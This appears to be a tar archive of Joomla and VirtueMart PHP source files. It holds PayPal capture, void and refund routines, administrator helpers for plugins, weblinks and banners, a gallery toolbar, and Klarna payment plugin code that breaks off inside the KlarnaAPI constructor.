			$post_variables['AUTHORIZATIONID'] = $reauth;
		}


		// Amount to capture.
		$post_variables['AMT'] = $this->total;
		$post_variables['CURRENCYCODE'] = $this->currency_code_3;
		// The value Complete indicates that this the last capture you intend to make.
		// The value NotComplete indicates that you intend to make additional captures.
		// N O T E : If Complete, any remaining amount of the original authorised transaction is automatically voided and all remaining open authorisations are voided.
		$post_variables['COMPLETETYPE'] = 'Complete';

// (Optional) Your invoice number or other identification number that is displayed to the merchant and customer in his transaction history.
		$post_variables['INVNUM'] = $this->order->order_number;

		// (Optional) An informational note about this settlement that is displayed to the payer in email and in his transaction history.
		//$post_variables['NOTE']	= 'add comments if send yto user ?';

		$this->sendRequest($post_variables);
		$success = $this->handleResponse();
		if (!$success) {
			$this->doVoid($payment);
		}
		return $success;
	}

	/**
	 * https://developer.paypal.com/webapps/developer/docs/classic/paypal-payments-standard/integration-guide/authcapture/
	 * @param $AuthorizationID
	 * @param $paypal_data
	 * @return bool
	 */
	function doReauthorize($AuthorizationID, $paypal_data) {
		// TODO
		return false;
		/*
        $post_variables = $this->initPostVariables('DoReauthorization');
        $post_variables['TOKEN'] = $paypal_data->TOKEN;
        $post_variables['PAYERID'] = $paypal_data->payer_id; // Unique PayPal customer account identification number
        $post_variables['AUTHORIZATIONID'] = $AuthorizationID;
        $post_variables['PAYMENTACTION'] = 'DoReauthorization';
        $post_variables['AMT'] =  $paypal_data->mc_gross; // ???
        $post_variables['CURRENCYCODE'] = $paypal_data->mc_currency;

        $this->sendRequest($post_variables);
        if ($this->handleResponse()) {
            return $this->response['AUTHORIZATIONID'];
        } else {
            return false;
        }
		*/
	}

	function RefundTransaction($payment) {

		$paypal_data = json_decode($payment->paypal_fullresponse);
		if (strcasecmp($paypal_data->payment_status, 'Completed') == 0) {
			$post_variables = $this->initPostVariables('RefundTransaction');
			$post_variables['REFUNDTYPE'] = 'Full';
			$post_variables['TRANSACTIONID'] = $paypal_data->txn_id;

		} else if (strcasecmp($paypal_data->payment_status, 'Pending') == 0 && strcasecmp($paypal_data->pending_reason, 'authorization') == 0) {
			//  An authorisation for this transaction has been voided/cancelled
			$post_variables = $this->initPostVariables('DoVoid');
		} else {
			return false;
		}

		$post_variables['AuthorizationID'] = $paypal_data->txn_id;
		//$post_variables['TOKEN'] 		= $paypal_data->TOKEN;
		//$post_variables['PAYERID']	 	= $paypal_data->payer_id;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	function doVoid($payment) {
		$paypal_data = json_decode($payment->paypal_fullresponse);
		$post_variables = $this->initPostVariables('DoVoid');
		$post_variables['AuthorizationID'] = $paypal_data->txn_id;
		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	public function ManageCancelOrder($payment) {
		$this->RefundTransaction($payment);
		return;
	}

	function getOrderBEFields() {
		$showOrderBEFields = array(
			'TXN_ID' => 'txn_id',
			'PAYER_ID' => 'payer_id',
			'PAYER_STATUS' => 'payer_status',
			'MC_GROSS' => 'mc_gross',
			'MC_FEE' => 'mc_fee',
			'TAXAMT' => 'tax',
			'MC_CURRENCY' => 'mc_currency',
			'PAYMENT_STATUS' => 'payment_status',
			'PENDING_REASON' => 'pending_reason',
			'REASON_CODE' => 'reasoncode',
			'PROTECTION_ELIGIBILITY' => 'protection_eligibility',
			'CORRELATIONID' => 'CORRELATIONID',
			'REFUND_AMOUNT' => 'TOTALREFUNDEDAMOUNT',
			'method' => 'method',
		);
		return $showOrderBEFields;
	}

}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins.php�����������������������������������������������������������������������������������������0000666�����������������00000004544�15137413504�0006754 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugins component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_plugins
 * @since		1.6
 */
class PluginsHelper
{
	public static $extension = 'com_plugins';

	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function addSubmenu($vName)
	{
		// No submenu for this component.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return	JObject
	 */
	public static function getActions()
	{
		$user		= JFactory::getUser();
		$result		= new JObject;
		$assetName	= 'com_plugins';

		$actions = JAccess::getActions($assetName);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}

	/**
	 * Returns an array of standard published state filter options.
	 *
	 * @return	string			The HTML code for the select tag
	 */
	public static function stateOptions()
	{
		// Build the active state filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '1', 'JENABLED');
		$options[]	= JHtml::_('select.option', '0', 'JDISABLED');

		return $options;
	}

	/**
	 * Returns an array of standard published state filter options.
	 *
	 * @return	string			The HTML code for the select tag
	 */
	public static function folderOptions()
	{
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		$query->select('DISTINCT(folder) AS value, folder AS text');
		$query->from('#__extensions');
		$query->where($db->quoteName('type').' = '.$db->quote('plugin'));
		$query->order('folder');

		$db->setQuery($query);
		$options = $db->loadObjectList();

		if ($error = $db->getErrorMsg()) {
			JError::raiseWarning(500, $error);
		}

		return $options;
	}
	function parseXMLTemplateFile($templateBaseDir, $templateDir)
	{
		$data = new JObject;

		// Check of the xml file exists
		$filePath = JPath::clean($templateBaseDir.'/templates/'.$templateDir.'/templateDetails.xml');
		if (is_file($filePath)) {
			$xml = JInstaller::parseXMLInstallFile($filePath);

			if ($xml['type'] != 'template') {
				return false;
			}

			foreach ($xml as $key => $value) {
				$data->set($key, $value);
			}
		}

		return $data;
	}
}
������������������������������������������������������������������������������������������������������������������������������������������������������������weblinks.php����������������������������������������������������������������������������������������0000666�����������������00000003153�15137413577�0007116 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Weblinks helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_weblinks
 * @since		1.6
 */
class WeblinksHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 * @since	1.6
	 */
	public static function addSubmenu($vName = 'weblinks')
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_WEBLINKS_SUBMENU_WEBLINKS'),
			'index.php?option=com_weblinks&view=weblinks',
			$vName == 'weblinks'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_WEBLINKS_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_weblinks',
			$vName == 'categories'
		);
		if ($vName=='categories') {
			JToolBarHelper::title(
				JText::sprintf('COM_CATEGORIES_CATEGORIES_TITLE', JText::_('com_weblinks')),
				'weblinks-categories');
		}
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param	int		The category ID.
	 * @return	JObject
	 * @since	1.6
	 */
	public static function getActions($categoryId = 0)
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		if (empty($categoryId)) {
			$assetName = 'com_weblinks';
			$level = 'component';
		} else {
			$assetName = 'com_weblinks.category.'.(int) $categoryId;
			$level = 'category';
		}

		$actions = JAccess::getActions('com_weblinks', $level);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������toolbar.php�����������������������������������������������������������������������������������������0000666�����������������00000002133�15137423424�0006727 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/*------------------------------------------------------------------------
# com_admirorgallery - Admiror Gallery Component
# ------------------------------------------------------------------------
# author   Igor Kekeljevic & Nikola Vasiljevski
# copyright Copyright (C) 2011 admiror-design-studio.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.admiror-design-studio.com/joomla-extensions
# Technical Support:  Forum - http://www.vasiljevski.com/forum/index.php
# Version: 4.5.0
-------------------------------------------------------------------------*/
// no direct access
defined('_JEXEC') or die('Restricted access');
jimport('joomla.html.toolbar');

class AdmirorgalleryHelperToolbar extends JObject
{
      public static function getToolbar() {


	      $bar = new JToolBar( 'toolbar' );

	      $bar->appendButton( 'Standard','AG_apply','COM_ADMIRORGALLERY_APPLY_DESC','AG_apply', false);
	      $bar->appendButton( 'Standard','AG_reset','COM_ADMIRORGALLERY_RESET_DESC','AG_reset', false);

	      return $bar->render();

      }

}

?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������banner.php������������������������������������������������������������������������������������������0000666�����������������00000001346�15137464342�0006543 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Site
 * @subpackage	com_banners
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @package		Joomla.Site
 * @subpackage	com_banners
 */
abstract class BannerHelper
{
	/**
	 * Checks if a URL is an image
	 *
	 * @param string
	 * @return URL
	 */
	public static function isImage($url)
	{
		$result = preg_match('#\.(?:bmp|gif|jpe?g|png)$#i', $url);
		return $result;
	}

	/**
	 * Checks if a URL is a Flash file
	 *
	 * @param string
	 * @return URL
	 */
	public static function isFlash($url)
	{
		$result = preg_match('#\.swf$#i', $url);
		return $result;
	}
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/banner.php�������������������������������������������������������������������������������������0000666�����������������00000005465�15137544222�0007511 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

/**
 * Banner HTML class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 * @since       2.5
 */
abstract class JHtmlBanner
{
	/**
	 * Display a batch widget for the client selector.
	 *
	 * @return  string  The necessary HTML for the widget.
	 *
	 * @since   2.5
	 */
	public static function clients()
	{
		// Create the batch selector to change the client on a selection list.
		$lines = array(
			'<label id="batch-client-lbl" for="batch-client" class="hasTip" title="'.JText::_('COM_BANNERS_BATCH_CLIENT_LABEL').'::'.JText::_('COM_BANNERS_BATCH_CLIENT_LABEL_DESC').'">',
			JText::_('COM_BANNERS_BATCH_CLIENT_LABEL'),
			'</label>',
			'<select name="batch[client_id]" class="inputbox" id="batch-client-id">',
			'<option value="">'.JText::_('COM_BANNERS_BATCH_CLIENT_NOCHANGE').'</option>',
			'<option value="0">'.JText::_('COM_BANNERS_NO_CLIENT').'</option>',
			JHtml::_('select.options', self::clientlist(), 'value', 'text'),
			'</select>'
		);

		return implode("\n", $lines);
	}

	/**
	 * Method to get the field options.
	 *
	 * @return	array	The field option objects.
	 * @since	1.6
	 */
	public static function clientlist()
	{
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		$query->select('id As value, name As text');
		$query->from('#__banner_clients AS a');
		$query->order('a.name');

		// Get the options.
		$db->setQuery($query);

		$options = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum()) {
			JError::raiseWarning(500, $db->getErrorMsg());
		}

		return $options;
	}
	
	/**
	 * Returns a pinned state on a grid
	 *
	 * @param   integer       $value			The state value.
	 * @param   integer       $i				The row index
	 * @param   boolean       $enabled		An optional setting for access control on the action.
	 * @param   string        $checkbox		An optional prefix for checkboxes.
	 *
	 * @return  string        The Html code
	 *
	 * @see JHtmlJGrid::state
	 *
	 * @since   2.5.5
	 */
	public static function pinned($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states	= array(
			1	=> array(
				'sticky_unpublish',
				'COM_BANNERS_BANNERS_PINNED',
				'COM_BANNERS_BANNERS_HTML_PIN_BANNER',
				'COM_BANNERS_BANNERS_PINNED',
				false,
				'publish',
				'publish'
			),
			0	=> array(
				'sticky_publish',
				'COM_BANNERS_BANNERS_UNPINNED',
				'COM_BANNERS_BANNERS_HTML_UNPIN_BANNER',
				'COM_BANNERS_BANNERS_UNPINNED',
				false,
				'unpublish',
				'unpublish'
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'banners.', $enabled, true, $checkbox);
	}

}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������banners.php�����������������������������������������������������������������������������������������0000666�����������������00000012052�15137544222�0006716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Banners component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_banners
 * @since		1.6
 */
class BannersHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 *
	 * @return	void
	 * @since	1.6
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_BANNERS_SUBMENU_BANNERS'),
			'index.php?option=com_banners&view=banners',
			$vName == 'banners'
		);

		JSubMenuHelper::addEntry(
			JText::_('COM_BANNERS_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_banners',
			$vName == 'categories'
		);
		if ($vName=='categories') {
			JToolBarHelper::title(
				JText::sprintf('COM_CATEGORIES_CATEGORIES_TITLE', JText::_('com_banners')),
				'banners-categories');
		}

		JSubMenuHelper::addEntry(
			JText::_('COM_BANNERS_SUBMENU_CLIENTS'),
			'index.php?option=com_banners&view=clients',
			$vName == 'clients'
		);

		JSubMenuHelper::addEntry(
			JText::_('COM_BANNERS_SUBMENU_TRACKS'),
			'index.php?option=com_banners&view=tracks',
			$vName == 'tracks'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param	int		The category ID.
	 *
	 * @return	JObject
	 * @since	1.6
	 */
	public static function getActions($categoryId = 0)
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		if (empty($categoryId)) {
			$assetName = 'com_banners';
			$level = 'component';
		} else {
			$assetName = 'com_banners.category.'.(int) $categoryId;
			$level = 'category';
		}

		$actions = JAccess::getActions('com_banners', $level);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}

	/**
	 * @return	boolean
	 * @since	1.6
	 */
	public static function updateReset()
	{
		$user = JFactory::getUser();
		$db = JFactory::getDBO();
		$nullDate = $db->getNullDate();
		$now = JFactory::getDate();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from('#__banners');
		$query->where("'".$now."' >= ".$db->quoteName('reset'));
		$query->where($db->quoteName('reset').' != '.$db->quote($nullDate).' AND '.$db->quoteName('reset').'!=NULL');
		$query->where('('.$db->quoteName('checked_out').' = 0 OR '.$db->quoteName('checked_out').' = '.(int) $db->Quote($user->id).')');
		$db->setQuery((string)$query);
		$rows = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum()) {
			JError::raiseWarning(500, $db->getErrorMsg());
			return false;
		}

		JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/tables');

		foreach ($rows as $row) {
			$purchase_type = $row->purchase_type;

			if ($purchase_type < 0 && $row->cid) {
				$client = JTable::getInstance('Client', 'BannersTable');
				$client->load($row->cid);
				$purchase_type = $client->purchase_type;
			}

			if ($purchase_type < 0) {
				$params = JComponentHelper::getParams('com_banners');
				$purchase_type = $params->get('purchase_type');
			}

			switch($purchase_type) {
				case 1:
					$reset = $nullDate;
					break;
				case 2:
					$date = JFactory::getDate('+1 year '.date('Y-m-d', strtotime('now')));
					$reset = $db->Quote($date->toSql());
					break;
				case 3:
					$date = JFactory::getDate('+1 month '.date('Y-m-d', strtotime('now')));
					$reset = $db->Quote($date->toSql());
					break;
				case 4:
					$date = JFactory::getDate('+7 day '.date('Y-m-d', strtotime('now')));
					$reset = $db->Quote($date->toSql());
					break;
				case 5:
					$date = JFactory::getDate('+1 day '.date('Y-m-d', strtotime('now')));
					$reset = $db->Quote($date->toSql());
					break;
			}

			// Update the row ordering field.
			$query->clear();
			$query->update($db->quoteName('#__banners'));
			$query->set($db->quoteName('reset').' = '.$db->quote($reset));
			$query->set($db->quoteName('impmade').' = '.$db->quote(0));
			$query->set($db->quoteName('clicks').' = '.$db->quote(0));
			$query->where($db->quoteName('id').' = '.$db->quote($row->id));
			$db->setQuery((string)$query);
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum()) {
				JError::raiseWarning(500, $db->getErrorMsg());
				return false;
			}
		}

		return true;
	}

	public static function getClientOptions()
	{
		// Initialize variables.
		$options = array();

		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		$query->select('id As value, name As text');
		$query->from('#__banner_clients AS a');
		$query->where('a.state = 1');
		$query->order('a.name');

		// Get the options.
		$db->setQuery($query);

		$options = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum()) {
			JError::raiseWarning(500, $db->getErrorMsg());
		}

		// Merge any additional options in the XML definition.
		//$options = array_merge(parent::getOptions(), $options);

		array_unshift($options, JHtml::_('select.option', '0', JText::_('COM_BANNERS_NO_CLIENT')));

		return $options;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������define.php������������������������������������������������������������������������������������������0000666�����������������00000003775�15137552100�0006526 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('JPATH_BASE') or die();
/**
 *
 * a special type of Klarna
 * @author Val√©rie Isaksen
 * @version $Id:
 * @package VirtueMart
 * @subpackage payment
 * @copyright Copyright (C) 2012 iStraxx - All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 *
 * http://virtuemart.net
 */

if (JVM_VERSION === 2) {
    if (!defined('JPATH_VMKLARNAPLUGIN'))
	define('JPATH_VMKLARNAPLUGIN', JPATH_ROOT . DS . 'plugins' . DS . 'vmpayment' . DS . 'klarna');
    if (!defined('VMKLARNAPLUGINWEBROOT'))
	define('VMKLARNAPLUGINWEBROOT', 'plugins/vmpayment/klarna');
    if (!defined('VMKLARNAPLUGINWEBASSETS'))
	define('VMKLARNAPLUGINWEBASSETS', JURI::root() . VMKLARNAPLUGINWEBROOT . '/klarna/assets');
} else {
    if (!defined('JPATH_VMKLARNAPLUGIN'))
	define('JPATH_VMKLARNAPLUGIN', JPATH_ROOT . DS . 'plugins' . DS . 'vmpayment');
    if (!defined('VMKLARNAPLUGINWEBROOT'))
	define('VMKLARNAPLUGINWEBROOT', 'plugins/vmpayment');
    if (!defined('VMKLARNAPLUGINWEBASSETS'))
	define('VMKLARNAPLUGINWEBASSETS', JURI::root() . VMKLARNAPLUGINWEBROOT . '/klarna/assets');
}
if (!defined('VMKLARNA_PC_TYPE'))
    define('VMKLARNA_PC_TYPE', 'json');
if (!defined('VMKLARNA_CONFIG_FILE'))
  define('VMKLARNA_CONFIG_FILE',JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarna.cfg');

if (!defined('VMPAYMENT_KLARNA_MERCHANT_ID_VM'))
	define('VMPAYMENT_KLARNA_MERCHANT_ID_VM', '1926');
if (!defined('VMPAYMENT_KLARNA_MERCHANT_ID_DEMO'))
	define('VMPAYMENT_KLARNA_MERCHANT_ID_DEMO', '2236');
if (!defined('VMPAYMENT_KLARNA_CONF_PC_TYPE'))
	define('VMPAYMENT_KLARNA_CONF_PC_TYPE', 'json');

if (!defined('VMPAYMENT_KLARNACHECKOUT_MERCHANT_ID_VM'))
	define('VMPAYMENT_KLARNACHECKOUT_MERCHANT_ID_VM', '709');
// No closing tag���klarnamobile.php������������������������������������������������������������������������������������0000666�����������������00000010614�15137552100�0007722 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('Restricted access');

/**
 * This is the completion script for the Klarna Mobile class (klarnamobile.php)
 * This page should include the following functions
 *
 * fetchProduct ($iProductId, $oKlarna);
 * fetchRedirectUrl ($iProductId);
 * processOrder ($mProductId, $iKlarnaReference, $iTelNo)
 *
 * Please see each function for the appropriate description of the function.
 *
 * @package       Klarna Standard Mobile Kassa API
 * @version     1.0
 * @since         1.0 - 4 maj 2011
 * @link        http://integration.klarna.com/
 * @copyright    Copyright (c) 2011 Klarna AB (http://klarna.com)
 */
class KlarnaMobile extends KlarnaMobileImpl
{
    /**
     * Fetches the product and adds it as an article to the klarna class. No need to return any data.
     * Articles need to be set for fraud purpose, incorrect article means no_risk invoice. Hereby klarna will not take any risks.
     *
     * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality
     * @param Klarna $oKlarna The Klarna class object. Used to set any articles
     * @return void
     */
    protected function fetchProduct($mProductId) {
        global $currencies, $currency;

        include(DIR_WS_CLASSES . 'language.php');
        $lng = new language();

        if (isset($HTTP_GET_VARS['language']) && tep_not_null($HTTP_GET_VARS['language'])) {
            $lng->set_language($HTTP_GET_VARS['language']);
        } else {
            $lng->get_browser_language();
        }

        $language = $lng->language['directory'];
        $languages_id = $lng->language['id'];

        $product_info_query = tep_db_query("select p.products_id, pd.products_name, pd.products_description, p.products_model, p.products_quantity, p.products_image, pd.products_url, p.products_price, p.products_tax_class_id, p.products_date_added, p.products_date_available, p.manufacturers_id from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd where p.products_status = '1' and p.products_id = '" . (int)$mProductId . "' and pd.products_id = p.products_id and pd.language_id = '" . (int)$languages_id . "'");
        $aProduct_info = tep_db_fetch_array($product_info_query);

        $sArtNo    = (MODULE_PAYMENT_KLARNA_ARTNO == 'id' || MODULE_PAYMENT_KLARNA_ARTNO == '' ? $aProduct_info['id'] : $aProduct_info['name']);

        $iTax    = tep_get_tax_rate($aProduct_info['products_tax_class_id']);

        if(DISPLAY_PRICE_WITH_TAX == 'true') {
            $iPrice_with_tax = $currencies->get_value($currency) * $aProduct_info['products_price'];
        } else {
            $iPrice_with_tax = $currencies->get_value($currency) * $aProduct_info['products_price'] * (($iTax/100)+1);
        }

        // Add goods
        $this->oKlarna->addArticle(
            1, //Quantity
            $sArtNo, //Article number
            $aProduct_info['products_name'], //Article name/title
            $iPrice_with_tax, // Price
            $iTax, //25% VAT
            0, // Discount
            KlarnaFlags::INC_VAT // Flag incl. excl vat
        );

        $this->iSum    += $iPrice_with_tax;
    }

    /**
     * When a purchase is made, the script returns an redirect-URL or a message. When the URL is returned, the user is re-directed to this page.
     * This could be an URL to a downloadable file (WARNING! SHOULD ALWAYS BE A DYNAMIC URL!), or a link to a "Thank you"/confirmation page (Comon for donation purposes)
     *
     * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality
     * @return mixed Either NULL or FALSE if no URL is available, or STRING with full URL when URL is available.
     */
    protected function fetchRedirectUrl ($mProductId) {
        return "http://www.klarna.com";
    }

    /**
     * When a purchase is made (approved as well) it might needs to be added to the merchants order system. In this function you can define how the order of a product should be handled.
     *
     * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality
     * @param integer $iKlarnaReference The reference returned by Klarna
     * @param string $sTelNo The telephone number used to make a purchase
     * @return void
     */
    protected function processOrder ($mProductId, $iKlarnaReference, $iTelNo) {
        // Here you should implement the functionality of how the product is managed.
    }
}
��������������������������������������������������������������������������������������������������������������������klarnaapi.php���������������������������������������������������������������������������������������0000666�����������������00000066627�15137552100�0007243 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php

defined ('_JEXEC') or die('Restricted access');

/**
 * The Klarna API class. This class handles all the API functions send by the GUI.
 *
 * @package     Klarna Standard Kassa API
 * @version     2.0.0
 * @since       2011-10-10
 * @link        http://integration.klarna.com/
 * @copyright   Copyright (c) 2011 Klarna AB (http://klarna.com)
 */
class KlarnaAPI {

	/**
	 * Array with different input values
	 *
	 * @var array
	 */
	protected $aInputParameters = array();

	/**
	 * Array with different input value values
	 *
	 * @var array
	 */
	protected $aInputValues = array();

	/**
	 * The county code
	 *
	 * @var string
	 */
	protected $sCountryCode;

	/**
	 * The type of class loaded. Either part or invoice or spec
	 *
	 * @var string
	 */
	protected $sType;

	/**
	 * The ISO for language (e.g. sv, da, nb, en, de)
	 *
	 * @var string
	 */
	protected $sLangISO;

	/**
	 * The setup values.
	 *
	 * @var array
	 */
	protected $aSetupSettings = array();

	/**
	 * The PClasses
	 *
	 * @var array
	 */
	public $aPClasses;

	/**
	 * The klarna object
	 *
	 * @var Klarna
	 */
	protected $oKlarna;

	/**
	 * The klarna language, set from KlarnaLanguage object
	 *
	 * @var integer
	 */
	protected $iKlarnaLanguage;

	/**
	 * The klarna currency, set from KlarnaCurrency object
	 *
	 * @var integer
	 */
	protected $iKlarnaCurrency;

	/**
	 * The klarna country, set from KlarnaCountry object
	 *
	 * @var integer
	 */
	protected $iKlarnaCountry;

	/**
	 * The path where the API and Standard register is located
	 *
	 * @var string
	 */
	protected $sPath;

	/**
	 * The ILT questions
	 */
	protected $aIltQuestions = array();

	/**
	 * Klarna language pack
	 */
	protected $languagePack;

	/**
	 * The class constructor. Initiates the Klarna Api class
	 *
	 * @ignore Do not show this in PHPDoc.
	 * @return void
	 */
	public function __construct ($a_sCountry, $a_sLangISO, $a_sType, $a_iSum, $a_iFlag, &$a_oKlarna = NULL, $aTypes = NULL, $sPath = NULL) {
		$this->sPath = $sPath;

		if ($a_sLangISO == NULL) {
			$aLangArray = array(
				"swe" => "sv",
				"deu" => "de",
				"dnk" => "da",
				"nld" => "nl",
				"nor" => "nb",
				"fin" => "fi",
				"en"  => "en");
			$a_sLangISO = @$aLangArray[strtolower ($a_sCountry)];
		}

		// Set the klarna object
		$this->oKlarna = &$a_oKlarna;

		// Validate the submitted values
		$this->setCountry ($a_sCountry);
		$this->setLanguage ($a_sLangISO);
		$this->validateType ($a_sType);
		/*
		  // Set the default input names
		  $this->aInputParameters['street']               = "street";
		  $this->aInputParameters['homenumber']           = "homenumber";
		  $this->aInputParameters['paymentPlan']          = "paymentPlan";
		  $this->aInputParameters['gender']               = "gender";
		  $this->aInputParameters['male']                 = "male";
		  $this->aInputParameters['female']               = "female";
		  $this->aInputParameters['birth_day']            = "birth_day";
		  $this->aInputParameters['birth_month']          = "birth_month";
		  $this->aInputParameters['birth_year']           = "birth_year";
		  $this->aInputParameters['bd_jan']               = "1";
		  $this->aInputParameters['bd_feb']               = "2";
		  $this->aInputParameters['bd_mar']               = "3";
		  $this->aInputParameters['bd_apr']               = "4";
		  $this->aInputParameters['bd_may']               = "5";
		  $this->aInputParameters['bd_jun']               = "6";
		  $this->aInputParameters['bd_jul']               = "7";
		  $this->aInputParameters['bd_aug']               = "8";
		  $this->aInputParameters['bd_sep']               = "9";
		  $this->aInputParameters['bd_oct']               = "10";
		  $this->aInputParameters['bd_nov']               = "11";
		  $this->aInputParameters['bd_dec']               = "12";
		  $this->aInputParameters['socialNumber']         = "socialNumber";
		  $this->aInputParameters['phoneNumber']          = "phoneNumber";
		  $this->aInputParameters['year_salary']          = "year_salary";
		  $this->aInputParameters['house_extension']      = "house_extension";
		  $this->aInputParameters['shipmentAddressInput'] = "shipment_address";
		  $this->aInputParameters['emailAddress']         = "emailAddress";
		  $this->aInputParameters['invoiceType']          = "invoiceType";
		  $this->aInputParameters['reference']            = "reference";
		  $this->aInputParameters['companyName']          = "companyName";
		  $this->aInputParameters['firstName']            = "firstName";
		  $this->aInputParameters['lastName']             = "lastName";
		  $this->aInputParameters['invoice_type']         = "invoice_type";
		  $this->aInputParameters['consent']              = "consent";
		  $this->aInputParameters['city']                 = "city";
		  $this->aInputParameters['zipcode']              = "zipcode";


		  // Set the default setup values
		  $this->aSetupSettings['langISO']      = $this->sLangISO;
		  $this->aSetupSettings['countryCode']  = $this->sCountryCode;
		  $this->aSetupSettings['sum']          = $a_iSum;
		  $this->aSetupSettings['flag']         = $a_iFlag;
		  $this->aSetupSettings['payment_id']   = "payment";
		  $this->aSetupSettings['invoice_name'] = 'klarna_invoice';
		  $this->aSetupSettings['part_name']    = 'klarna_partPayment';
		  $this->aSetupSettings['spec_name']    = 'klarna_SpecCamp';
  */

		// $this->aSetupSettings['web_root'] = "/";
		//$this->setPaths();
//$this->country=$this->getCountry(); //??????
		// Fetch PClasses in case type is invoice

		if (($this->sType == 'part' || $this->sType == 'spec') && $this->oKlarna != NULL) {
			$this->fetchPClasses ($a_iSum, $a_iFlag, $aTypes);
